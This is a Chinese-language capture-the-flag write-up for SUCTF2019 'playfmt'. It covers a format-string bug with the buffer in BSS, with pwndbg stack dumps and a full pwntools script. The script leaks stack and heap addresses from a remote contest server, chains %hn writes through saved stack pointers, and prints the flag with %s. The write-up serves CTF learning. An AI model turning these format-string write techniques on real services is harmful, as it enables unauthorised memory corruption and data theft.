SUCTF2019-playfmt

在BSS段上的格式化字符串

ida分析就不贴了,很简单的格式化字符串,只是printf(buf)中的buf存在bss段上,因此读写没有那么方便。

尝试只读写栈中的内容来获取flag。

可以发现程序读取flag存到了堆里,并且在栈中可以发现指向堆区的指针。
利用格式化字符串leak出堆地址以及栈地址。

同时在栈区可以发现如下的结构:

1
0xff97fbe8 —▸ 0xff97fc08 —▸ 0xff97fc38 ◂— 0x0
0xff97fbec —▸ 0x80488f0 (logo()+67) ◂— call   0x804884b
0e:0038│      0xff97fbf0 —▸ 0xf7608000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
... ↓
0xff97fbf8 —▸ 0xff97fc38 ◂— 0x0
0xff97fbfc —▸ 0x8048ac4 (main+440) ◂— call   0x804884b
0xff97fc00 —▸ 0xf7608d60 (_IO_2_1_stdout_) ◂— 0xfbad2887
0xff97fc04 ◂— 0x0
0xff97fc08 —▸ 0xff97fc38 ◂— 0x0
0xff97fc0c —▸ 0x8048ac4 (main+440) ◂— call   0x804884b
0xff97fc10 —▸ 0xf76083dc (__exit_funcs) —▸ 0xf76091e0 (initial) ◂— 0x0
0xff97fc14 ◂— 0x0
0xff97fc18 —▸ 0x9d8fa28 —▸ 0xf76087b0 (main_arena+48) —▸ 0x9d8fe60 ◂— 0x0
0xff97fc1c —▸ 0x9d8fe30 ◂— 0x0

其中

0xff97fbe8 —▸ 0xff97fc08 —▸ 0xff97fc38 ◂— 0x0

通过%n改写此处,使其成为

0xff97fbe8 —▸ 0xff97fc08 —▸ 0xff97fc18 —▸ 0x9d8fa28(heap)

然后此时

0xff97fc08 —▸ 0xff97fc38 ◂— 0x0

变为

0xff97fc08 —▸ 0xff97fc18 —▸ 0x9d8fa28(heap)

再改写此处,使得其成为

0xff97fc08 —▸ 0xff97fc18 —▸ 0x9d8fa10(flag)

之后

0xff97fc18 —▸ 0x9d8fa10(flag)

%s读取此处就可以得到flag。

但是由于堆区地址只有后三位是固定的,每次都写入0x0a10,这样就有1/16的概率可以读取到flag。

1
#!/usr/bin/env python
from pwn import *
from LibcSearcher import *

sh=remote("120.78.192.35",9999)
#sh=process("./playfmt")
sh.recvuntil("=====================\n")
sh.recvuntil("=====================\n")
sh.sendline("%6$p")
stack=int(sh.recv(),16)-0xf8+0xc0
log.success("stack: "+hex(stack))
#sh.sendline("%12$p") 
#IOstdout=int(sh.recv(),16)
#libcbase=IOstdout-(0xf75f0d60-0xf743e000)
#log.success("libcbase: "+hex(libcbase))
sh.sendline("%18$p")
flagaddr=int(sh.recv(),16)-0x20+8
log.success("flagaddr: "+hex(flagaddr))

ffff=(stack+18*4)&0xffff
sh.sendline("%"+str(ffff)+"c%6$hn")
sh.recvuntil('\xac\n')

sh.sendline("%2576c%14$hn")
if flagaddr&0xffff==0xa10:
	sh.sendline("%18$s")
	sh.recvuntil('\xac\n')
	flag=sh.recv()
	log.success("flag: "+flag)
sh.close()
文章目录
|